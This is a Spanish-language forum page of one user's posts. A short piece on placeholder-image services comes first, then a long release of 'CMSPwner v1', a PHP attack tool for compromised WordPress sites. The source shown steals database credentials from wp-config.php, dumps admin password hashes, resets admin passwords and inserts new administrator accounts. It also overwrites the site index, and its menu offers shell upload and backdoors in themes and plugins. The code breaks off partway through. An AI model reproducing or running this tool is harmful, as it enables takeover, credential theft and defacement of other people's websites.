Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Xt3mP

#1
A veces nos encontramos en la situación en donde es necesario dar una propuesta de algún diseño o simplemente dar una vista previa del mismo; en lo personal ésto es algo de lo más fastidioso puesto que en la mayoría de los casos no contamos con el contenido final ni con el tiempo para buscar imagenes personalizadas por lo que tenemos que recurrir a utilizar texto (lorem ipsum) e imagenes de relleno para llegar al objetivo: La propuesta.

Para eso, el sitio LoremPixel (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) nos facilitan dicha tarea.


LoremPixel es una herramienta sumamente sencilla que, acorde a nuestra configuración, nos genera imágenes para agregarlas en nuestra página web. Tiene una extensa variedad de tipos de imagenes:


  • Abstract
  • Animales
  • Negocios
  • Gatos
  • Urbana
  • Comida
  • Vida de noche
  • Fashion
  • Personas
  • Naturaleza
  • Deportes
  • Tecnología
  • Transporte
Agregando a ésto, nos da la opción de elegir el tamaño de imagen así como si la queremos a color o en blanco y negro. Además, cuenta con enláces predeterminados que nos permiten utilizar la herramienta de una manera más rápida:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener una imagen al azar de 400 x 200 pixeles.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener una imagen en blanco y negro de 400 x 200 pixeles.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener una imagen al azar de la categoría Deportes.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener la imagen #1 de 10 de la categoría Deportes.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener una imagen al azar con texto personalizado.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Para obtener la imagen #1 de 10 con texto personalizado.

Ejemplo:
* No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es una herramienta que tiene el mismo objetivo que LoremPixel. Sin embargo, a diferencia de ésta última, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta te permite agregar texto directo en la imagen, así como definir el color del fondo y del texto:

Ejemplo:

* No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

* No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El color, tanto de fondo como de texto, se definen en valor hexadecimal.

En caso de no utilizar el formato "Ancho x Alto" y solo agregar el valor ancho, automáticamente el alto toma el mismo valor.

Ejemplo:
* No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Analizando las dos herramientas, se pueden utilizar de la siguiente manera: Si necesitamos un boceto o una vista previa de algún diseño lo más apegado a el resultado final sin duda alguna LoremPixel es la mejor opción puesto que sus imagenes por categoría le dan un resultado más real al mismo; por otro lado, si sólo queremos definir en donde irán las imagenes, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta será tu mejor amiga.


Saludos,
Xt3mP.
#2
Pentesting / CMSPwner v1 [Wordpress Version][Source]
Agosto 02, 2012, 10:35:39 PM


Cree este script para la comunidad de r00tw0rm llamado CMPwner orientado a facilitar la tarea de penetrar plataformas como Wordpress, Joomla, etc.
Como es la primer versión solo contiene el modulo de Wordpress (esperen por los siguientes)

Con este modulo pueden:
Obtener automáticamente la configuración de la DB.
Obtener la información más importante de Wordpress
Mirar todos los administradores
Resetear la contraseña de cualquiera de ellos
Agregar nuevo administrador
Cambiar el index principal (/) con fopen
Cambiar el index del tema actual con fopen
Cambiar el index del tema actual con cURL (credenciales de usuario requeridas)
Subir shell
Subir shell a cualquier tema
Subir shell a cualquier plugin
Poner un backdoor editando el contenido de cualquier tema
Poner un backdoor editando el contenido de cualquier plugin

Demostration:


Source:
Código: php
<?php
#########
# Script Title: CMSPwner v1 Wordpress Version
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
#  _____ _____ _____ _____                   
# |     |     |   __|  _  |_ _ _ ___ ___ ___
# |   --| | | |__   |   __| | | |   | -_|  _|
# |_____|_|_|_|_____|__|  |_____|_|_|___|_| 
#
#########
session_start();
$authUser = 'Xt3mP';
$authPass = '63a9f0ea7bb98050796b649e85481845';
function checkTable($dbName, $dbPref)
{
$query = mysql_query('SHOW TABLES FROM '.$dbName) or die(mysql_error());
$allowedTables = array($dbPref.'options', $dbPref.'users', $dbPref.'usersmeta');
$counter = 0;
while($table = mysql_fetch_array($query))
{
if(in_array($table[0], $allowedTables))
$counter++;
}
if($counter != 2)
return false;
else
return true;
}
function getInfo($pref, $optionName)
{
$data = mysql_fetch_object(mysql_query('SELECT option_value FROM '.$pref.'options WHERE option_name="'.$optionName.'"'));
return $data->option_value;
}
function getVersion($url)
{
$source = file_get_contents($url);
$data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source, $version);
return $version[1];
}
function getTotalAdmins($pref)
{
$adms = @mysql_num_rows(@mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10'));
return $adms;
}
function getAdmins($pref, $type = 'name')
{
$adm = @mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10');
while($admId = @mysql_fetch_object($adm))
{
if($type == 'name')
{
$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_nicename FROM '.$pref.'users WHERE ID='.$admId->user_id));
$option .= '<option value="'.$admId->user_id.'">'.$admData->user_login.'['.$admData->user_nicename.']</option>';
}
else
{
$class = ($number == '0') ? 'dark-green' : 'light-green';
$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_pass, user_email FROM '.$pref.'users WHERE ID='.$admId->user_id));
$option .= '<tr class="'.$class.'"><td>'.$admData->user_login.'</td><td>'.$admData->user_pass.'</td><td>'.$admData->user_email.'</td></tr>';
$number = ($number == '0') ? '1' : '0';
}
}
if($type == 'name')
return $option;
else
return '<table width="100%" align="center"><tr class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>'.$option.'</table>';
}
function updateAdmin($pref, $admUser, $admPass)
{
$newPass = md5($admPass);
$update = @mysql_query('UPDATE '.$pref.'users SET user_pass="'.$newPass.'" WHERE ID='.$admUser);
if(!$update)
return false;
else
return true;
}
function getAdminById($pref, $admId)
{
$admData = @mysql_fetch_object(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE ID='.$admId));
return $admData->user_login;
}
function checkUser($pref, $admUser)
{
$adm = @mysql_num_rows(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
if($adm > 0)
return false;
else
return true;
}
function addAdminUser($pref, $admUser, $admPass)
{
$insert = @mysql_query('INSERT INTO '.$pref.'users (user_login, user_pass, user_nicename, user_email) values ("'.$admUser.'", "'.md5($admPass).'", "'.$admUser.'", "'.$admUser.'@'.$admUser.'.com")');
if(!$insert)
{
return false;
}
else
$id = @mysql_fetch_object(@mysql_query('SELECT ID FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")') or die(mysql_error());
$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_user_level", "10")') or die(mysql_error());
return true;
}
function checkLogin($wpUrl, $wpUser, $wpPass)
{
$fields = 'log='.$wpUser.'&pwd='.$wpPass.'&wp-submit=Acceder';
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$data = curl_exec($ch);
curl_close($ch);
if(strstr($data, '<strong>ERROR</strong>'))
return false;
else
return true;
}
function sourceIndex($wpUrl, $theme)
{
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
{
$ch = curl_init(); 
$fields = '_wpnonce='.$wpnonce.'&newcontent='.urlencode($wpCont).'&action=update&file=index.php&theme='.$theme.'&scrollto=0&submit=Actualizar Archivo';
curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
curl_setopt($ch, CURLOPT_AUTOREFERER, false);
curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$data = curl_exec($ch);
curl_close($ch);
return true;
}
function getThemes()
{
$themes = scandir('./wp-content/themes/');
foreach($themes as $theme)
{
if($theme != '.' && $theme != '..' && is_dir('./wp-content/themes/'.$theme))
{
$realThemes .= '<option value="'.$theme.'">'.$theme.'</option>';
}
}
return $realThemes;
}
function getPlugins()
{
$plugins = scandir('./wp-content/plugins/');
foreach($plugins as $plugin)
{
if($plugin != '.' && $plugin != '..' && is_dir('./wp-content/plugins/'.$plugin))
{
$pluginData = pathinfo('./wp-content/plugins/'.$plugin);
$pluginPath = $plugin;
if(!is_dir('./wp-content/plugins/'.$plugin))
{
$pluginPath = '/';
$plugin = $pluginData['filename'];
}
$realPlugins .= '<option value="'.$pluginPath.'">'.$plugin.'</option>';
}
}
return $realPlugins.'<option value="/">/</option>';
}

function getInstalledPlugins($wpUrl, $plugins, $home = false)
{
$data = preg_match("/a:(.*):{/", $plugins, $a);
for($i = 0; $i < $a[1]; $i++)
{
$c = $a[1] - 1;
if($i != $c)
{
$next = $i + 1;
$pat = "/i:$i;s:[0-9]*:\"(.*)\";i:$next/";
}else{
if($a[1] == 1)
$pat = "/{i:$i;s:[0-9]*:\"(.*)\";}/";
else
$pat = "/;i:$i;s:[0-9]*:\"(.*)\";/";
}
$datas = preg_match($pat, $plugins, $b);
$pluginsc .= (!$home) ? '<a href="'.$wpUrl.'/wp-content/plugins/'.$b[1].'" target="_blank">'.$b[1].'</a><br />' : '<option value="'.$b[1].'">'.$b[1].'</option>';
}
return (!$home) ? substr($pluginsc, 0, strlen($pluginsc) - 6) : $pluginsc;
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CMSPwner v1 [WP Version]</title>
<style type="text/css">html,body,div,span,applet,object,iframe,h1,h2,h3,h  4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi  g,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,  strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd  ,ol,ul,li,fieldset,form,label,legend,table,caption  ,tbody,tfoot,thead,tr,th,td,article,aside,canvas,d  etails,embed,figure,figcaption,footer,header,hgrou  p,menu,nav,output,ruby,section,summary,time,mark,a  udio,video{border:0;font:inherit;font-size:100%;margin:0;padding:0;vertical-align:baseline}article,aside,details,figcaption,fi  gure,footer,header,hgroup,menu,nav,section{display  :block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:bef  ore,blockquote:after,q:before,q:after{content:none  }table{border-collapse:collapse;border-spacing:0}</style>
<style type="text/css">body{background-color:#2b2b2b;color:#828282;font-family:"Courier New", Courier, monospace;font-size:13px;font-weight:700;line-height:1em}div#container{width:600px}div#container fieldset{background-color:#FBFBFB;border:1px dashed #000;padding:5px;text-align:justify}hr{background-color:#000;color:#000}div#container legend{background-color:#FFF;border:1px dashed #000;color:#000;padding:5px}fieldset#login .a{width:200px}div#container input,div#container select,div#container textarea{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#333;border:1px dashed #000;border-radius:3px;color:#FFF;font-family:"Courier New", Courier, monospace;font-weight:700;padding:5px;text-align:center;width:148px}div#container textarea{resize:none;width:83%}div#container input:hover,div#container input:focus{font-style:normal}div#container input[type=submit]:hover{background-color:#888;cursor:pointer;text-shadow:1px 1px 1px #999}div#container .error,div#container .success{background-color:#ff4040;border:1px dashed red;color:#FFF;float:left;margin-bottom:5px;padding:5px;width:100%!important}div#co  ntainer .success{background-color:#49A349;border:1px dashed #002E00}div#container .menu{border-bottom:1px dashed #000;float:left;font-size:14px;margin-bottom:5px;padding-bottom:5px;text-align:center;width:100%}.data{float:left;width:98%  }.menu ul li{float:left;height:10px;width:100px}.menu ul li ul{background-color:#FBFBFB;border:1px dashed #000;border-top:none;display:none;float:left;height:auto;margi  n-top:2px;position:relative;width:130px}.menu ul li:hover ul{display:block}.menu ul li ul li{background:#CCC;float:left;height:10px;padding:  5px 0 5px 2px;text-align:left;width:130px}.menu ul li.nonse{float:left;width:20px}div#sql_data,div#da  ta{border-top:1px dashed #000;margin-top:5px;padding-top:5px}div#sql_data label,div#data label{float:left;margin-right:5px;padding:8px 0;text-align:right;width:60px}div#container .clear{float:left;width:100%}div#sql_data input[type=text],div#data input[type=text],div#data select,div#data textarea{margin-right:5px}select{text-align:center}div#container a{color:#111;text-decoration:none}div#container a:hover{color:#191919;text-decoration:underline}div#data{border:none}div#info  {border-bottom:1px dashed #000;padding-bottom:5px}table,td,tr{padding:5px;text-align:center}.header{background-color:#000;color:#FFF}.light-green,.dark-green{background-color:#FCFCFC;color:#000}div#container input[type=submit],.dark-green{background-color:#666}div#sql_data input[type=submit],div#data input[type=submit],div#data select{width:160px}div#container .get_config{border-top:1px dashed #000;margin-top:5px;padding-top:5px;text-align:center}div#container .success a,div#container .success a:hover,.dark-green{color:#FFF}</style>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>$(function(){windowsHeight=$(window).height();wind  owsWidth=$(window).width();div=$('#container');div  Height=div.height();divWidth=div.width();up=window  sHeight/2.3-(divHeight/2);left=windowsWidth/2-(divWidth/2);$("#container").css("margin-top",up);$("#container").css("margin-left",left);function putValue(fieldId,newValue,defaultValue){if($("#"+fieldId).val()==defaultValue){$("#"+fieldId).val(newValue)}}$("#user").focusin(function(){putValue("user","","User")});$("#user").focusout(function(){putValue("user","User","")});$("#pass").focusin(function(){putValue("pass","","********")});$("#pass").focusout(function(){putValue("pass","********","")});$("#db_srvr").focusin(function(){putValue("db_srvr","","localhost")});$("#db_srvr").focusout(function(){putValue("db_srvr","localhost","")});$("#db_user").focusin(function(){putValue("db_user","","root")});$("#db_user").focusout(function(){putValue("db_user","root","")});$("#db_pass").focusin(function(){putValue("db_pass","","root")});$("#db_pass").focusout(function(){putValue("db_pass","root","")});$("#db_name").focusin(function(){putValue("db_name","","wp_db")});$("#db_name").focusout(function(){putValue("db_name","wp_db","")});$("#db_pref").focusin(function(){putValue("db_pref","","wp_")});$("#db_pref").focusout(function(){putValue("db_pref","wp_","")});$("#new_pass").focusin(function(){putValue("new_pass","","new_pass")});$("#new_pass").focusout(function(){putValue("new_pass","new_pass","")});$("#new_user").focusin(function(){putValue("new_user","","Admin2")});$("#new_user").focusout(function(){putValue("new_user","Admin2","")});$("#wp_url").focusin(function(){putValue("wp_url","","http://site.com/wp")});$("#wp_url").focusout(function(){putValue("wp_url","http://site.com/wp","")});$("#shell_name").focusin(function(){putValue("shell_name","","shell.php")});$("#shell_name").focusout(function(){putValue("shell_name","shell.php","")})});</script>
</head>
<body>
<div id="container">
<div class="logo">
<pre>
       _____ __  __  _____ _____                                  __
    X / ____|  \/  |/ ____|  __ \                                /_ |X
    t| |    | \  / | (___ | |__) |_      ___ __   ___ _ __  __   _| |t
    3| |    | |\/| |\___ \|  ___/\ \ /\ / / '_ \ / _ \ '__| \ \ / / |3
    m| |____| |  | |____) | |     \ V  V /| | | |  __/ |     \ V /| |m
    P \_____|_|  |_|_____/|_|      \_/\_/ |_| |_|\___|_| t00l \_/ |_|P                                                                 
</pre>
</div>
<form action="" method="POST" enctype="multipart/form-data">
<?php
if(!$_SESSION['logged']):
?>
<fieldset id="login">
<legend>CMSPwner v1 - Login</legend>
<?php
$showLogin = true;
if(isset($_POST['login'])):
$user = $_POST['user'];
$pass = $_POST['pass'];
if($user != $authUser or md5($pass) != $authPass):
echo '<div class="error">Bad username or password</div>';
else:
$showLogin = false;
$_SESSION['logged'] = true;
$_SESSION['user'] = $user;
echo '<div class="success">Welcome '.$user.'</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showLogin):
?>
<input type="text" id="user" name="user" value="User" class="a"/>
<input type="password" id="pass" name="pass" value="********" class="a"/>
<input type="submit" name="login" value="Access" />
<?php
endif;
?>
</fieldset>
<?php
else:
?>
<fieldset>
<?php
if(!$_SESSION['sqlCredentials']):
?>
<legend>CMSPwner v1 - SQL Credentials</legend>
This system requires SQL credentials to work correctly. Please make sure that your credentials are correct.<br />
<?php
$showForm = true;
if($_GET['s3ct10n'] == 'getconfig'):
if(isset($_POST['get_config'])):
$configContent = @file_get_contents('./wp-config.php');
if(!$configContent):
echo '<div class="error">Can\'t open/found wp-config.php file</div>';
else:
$data = @preg_match("/define\('DB_HOST', '(.*)'\);/", $configContent, $host);
$data = @preg_match("/define\('DB_USER', '(.*)'\);/", $configContent, $user);
$data = @preg_match("/define\('DB_PASSWORD', '(.*)'\);/", $configContent, $pass);
$data = @preg_match("/define\('DB_NAME', '(.*)'\);/", $configContent, $name);
$data = @preg_match("/table_prefix  = '(.*)';/", $configContent, $pref);
$_SESSION['dbSrvr'] = $host[1];
$_SESSION['dbUser'] = $user[1];
$_SESSION['dbPass'] = $pass[1];
$_SESSION['dbName'] = $name[1];
$_SESSION['dbPref'] = $pref[1];
$showForm = false;
echo '<div class="success">Configuration obtained correctly</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showForm):
$file = basename($_SERVER['PHP_SELF']);
?>
<div class="get_config" style="text-align:left;">You need put this file in same WP path:</div>
<div id="sql_data">
<div class="clear"><label>File:</label><input type="text" value="<?php echo $file; ?>" disabled="disabled" />< Script<br /></div>
<div class="clear"><label></label><input type="submit" name="get_config" value="Get Config" /></div>
</div>
<?php
endif;
else:
if(isset($_POST['sql'])):
$dbSrvr = $_POST['db_srvr'];
$dbUser = $_POST['db_user'];
$dbPass = $_POST['db_pass'];
$dbName = $_POST['db_name'];
$dbPref = $_POST['db_pref'];
$dbCon = @mysql_connect($dbSrvr, $dbUser, $dbPass);
$dbSel = @mysql_select_db($dbName, $dbCon);
if(!$dbCon):
echo '<div class="error">Can\'t connect to the server: '.$dbUser.'@'.$dbSrvr.'</div>';
elseif(!$dbSel):
echo '<div class="error">Can\'t select DB: '.$dbName.'</div>';
elseif(!checkTable($dbName, $dbPref)):
echo '<div class="error">Can\'t detect WP tables with Preffix: '.$dbPref.'</div>';
else:
$_SESSION['dbSrvr'] = $dbSrvr;
$_SESSION['dbUser'] = $dbUser;
$_SESSION['dbPass'] = $dbPass;
$_SESSION['dbName'] = $dbName;
$_SESSION['dbPref'] = $dbPref;
$_SESSION['sqlCredentials'] = true;
$showForm = false;
echo '<div class="success">SQL Credentials accepted correctly</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showForm):
$srvr = (empty($_SESSION['dbSrvr'])) ? 'localhost' : $_SESSION['dbSrvr'];
$user = (empty($_SESSION['dbUser'])) ? 'root' : $_SESSION['dbUser'];
$pass = (empty($_SESSION['dbPass'])) ? 'root' : $_SESSION['dbPass'];
$name = (empty($_SESSION['dbName'])) ? 'wp_db' : $_SESSION['dbName'];
$pref = (empty($_SESSION['dbPref'])) ? 'wp_': $_SESSION['dbPref'];
?>
<div class="get_config">[<a href="?s3ct10n=getconfig">Try to get config automatically</a>]</div>
<div id="sql_data">
<div class="clear"><label>Server:</label><input type="text" id="db_srvr" name="db_srvr" value="<?php echo $srvr; ?>" />< Insert SQL Server<br /></div>
<div class="clear"><label>User:</label><input type="text" id="db_user" name="db_user" value="<?php echo $user; ?>" />< Insert SQL Username<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="db_pass" name="db_pass" value="<?php echo $pass; ?>" />< Insert SQL Password<br /></div>
<div class="clear"><label>Name:</label><input type="text" id="db_name" name="db_name" value="<?php echo $name; ?>" />< Insert SQL Database Name<br /></div>
<div class="clear"><label>Prefix:</label><input type="text" id="db_pref" name="db_pref" value="<?php echo $pref; ?>" />< Insert Wordpress DB Preffix<br /></div>
<div class="clear"><label></label><input type="submit" name="sql" value="Check SQL Data" />
</div>
<?php
endif;
endif;
?>
<?php
else:
$dbCon = @mysql_connect($_SESSION['dbSrvr'], $_SESSION['dbUser'], $_SESSION['dbPass']);
@mysql_select_db($_SESSION['dbName'], $dbCon);
?>
<legend>CMSPwner v1 - System</legend>
<div class="menu">
<ul>
<li>Menu
<ul>
<li><a href="?">Home</a></li>
<li><a href="?s3ct10n=logout">Logout</a></li>
<li><a href="?s3ct10n=selfremove">Self Remove</a></li>
<li><a href="?s3ct10n=about">About</a></li>
</ul>
</li>
<li>Admin
<ul>
<li><a href="?s3ct10n=1">Adm List</a></li>
<li><a href="?s3ct10n=2">Reset Adm Pass</a></li>
<li><a href="?s3ct10n=3">Add New Adm</a></li>
</ul>
</li>
<li>Change Index
<ul>
<li><a href="?s3ct10n=4">Main [fopen]</a></li>
<li><a href="?s3ct10n=5">Theme [cURL]</a></li>
<li><a href="?s3ct10n=6">Theme [fopen]</a></li>
</ul>
</li>
<li>Shell
<ul>
<li><a href="?s3ct10n=7">Upload</a></li>
<li><a href="?s3ct10n=8">Make [themes]</a></li>
<li><a href="?s3ct10n=9">Make [plugins]</a></li>
</ul>
</li>
<li>Backdoor
<ul>
<li><a href="?s3ct10n=10">Active Theme</a></li>
<li><a href="?s3ct10n=11">Active Plugin</a></li>
</ul>
</ul>
</div>
<div class="data">
<?php
$s3ct10n = $_GET['s3ct10n'];
switch($s3ct10n):
case '':
?>
WP Version: <?php echo getVersion(getInfo($_SESSION['dbPref'], 'siteurl')); ?><br />
WP Url: <a href="#"><?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?></a><br />
WP Mail: <?php echo getInfo($_SESSION['dbPref'], 'admin_email'); ?><br />
WP Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br />
WP Active Plugins: <br /><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br />
WP Adm Users: <?php echo getTotalAdmins($_SESSION['dbPref']); ?><br />
WP Blog Charset: <?php echo getInfo($_SESSION['dbPref'], 'blog_charset'); ?><br />
WP DB Host: <?php echo $_SESSION['dbSrvr']; ?><br />
WP DB User: <?php echo $_SESSION['dbUser']; ?><br />
WP DB Pass: <?php echo $_SESSION['dbPass']; ?><br />
WP DB Server: <?php echo $_SESSION['dbName']; ?><br />
WP DB Preffix: <?php echo $_SESSION['dbPref']; ?>
<?php
break;
case 'logout':
$showForm = true;
if(isset($_POST['no'])):
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
elseif(isset($_POST['yes'])):
@session_destroy();
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
endif;
if($showForm):
?>
<div id="info">Logout?</div>
<div id="data">
<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
</div>
<?php
endif;
break;
case 'selfremove':
$showForm = true;
if(isset($_POST['no'])):
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
elseif(isset($_POST['yes'])):
@session_destroy();
@unlink(basename($_SERVER['PHP_SELF']));
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
endif;
if($showForm):
?>
<div id="info">Self remove?</div>
<div id="data">
<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
</div>
<?php
endif;
break;
case 'about':
?>
<div id="info">About</div>
<div id="data">
<pre style="text-align: center;">
                         
                          .--,-``-.                    ,-.----.   
,--,     ,--,   ___     /   /     '.            ____  \    /  \   
|'. \   / .`| ,--.'|_  / ../        ;         ,'  , `.|   :    \ 
; \ `\ /' / ; |  | :,' \ ``\  .`-    '     ,-+-,.' _ ||   |  .\ :
`. \  /  / .' :  : ' :  \___\/   \   :  ,-+-. ;   , ||.   :  |: |
  \  \/  / ./.;__,'  /        \   :   | ,--.'|'   |  |||   |   \ :
   \  \.'  / |  |   |         /  /   / |   |  ,', |  |,|   : .   /
    \  ;  ;  :__,'| :         \  \   \ |   | /  | |--' ;   | |`-' 
   / \  \  \   '  : |__   ___ /   :   ||   : |  | ,    |   | ;     
  ;  /\  \  \  |  | '.'| /   /\   /   :|   : |  |/     :   ' |     
./__;  \  ;  \ ;  :    ;/ ,,/  ',-    .|   | |`-'      :   : :     
|   : / \  \  ;|  ,   / \ ''\        ; |   ;/          |   | :     
;   |/   \  ' | ---`-'   \   \     .'  '---'           `---'.|     
`---'     `--`            `--`-,,-'                      `---`   
</pre>
<pre>
+------------------------------------------------------------------------+
|                       Website: http://xt3mp.mx                         |
|                     Contact: xt3mp[at]null[dot]net                     |
+------------------------------------------------------------------------+
</pre>
</div>
<?php
break;
case 1:
?>
<div id="info">All Admin users appear below:</div>
<div id="data"><?php echo getAdmins($_SESSION['dbPref'], 'list'); ?></div>
<?php
break;
case 2:
$showForm = true;
if(isset($_POST['change_pass'])):
$admUser = $_POST['adminId'];
$admPass = $_POST['admin_pass'];
if(!updateAdmin($_SESSION['dbPref'], $admUser, $admPass)):
echo '<div class="error">Can\'t update admin password: Internal error</div>';
else:
$admUser = getAdminById($_SESSION['dbPref'], $admUser);
$showForm = false;
echo '<div class="success">Admin password updated correctly: '.$admUser.'::'.$admPass.'</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
?>
<?php
if($showForm):
?>
<div id="info">Select Admin User and Insert a New Password:</div>
<div id="data">
<div class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION['dbPref']); ?></select>< Select Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
<div class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 3:
$showForm = true;
if(isset($_POST['add_admin'])):
$admUser = $_POST['admin_user'];
$admPass = $_POST['admin_pass'];
if(!checkUser($_SESSION['dbPref'], $admUser)):
echo '<div class="error">Can\'t add new Admin User: '.$admUser.' is in use</div>';
elseif(!addAdminUser($_SESSION['dbPref'], $admUser, $admPass)):
echo '<div class="error">Can\'t insert new Admin User: Internal error</div>';
else:
$showForm = false;
echo '<div class="success">New Admin User inserted correctly: '.$admUser.'::'.$admPass.'</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
?>
<?php
if($showForm):
?>
<div id="info">Insert New Admin User:</div>
<div id="data">
<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
<div class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 4:
$showForm = true;
$indexContent = @file_get_contents('./index.php');
if(isset($_POST['change_index'])):
$newContent = stripslashes($_POST['new_content']);
$newIndex = @fopen('index.php', 'w+');
if(!$newIndex):
echo '<div class="error">Can\'t create new index file</div>';
else:
$showForm = false;
@fwrite($newIndex, $newContent);
@fclose($newIndex);
echo '<div class="success">Index updated correctly</div>';
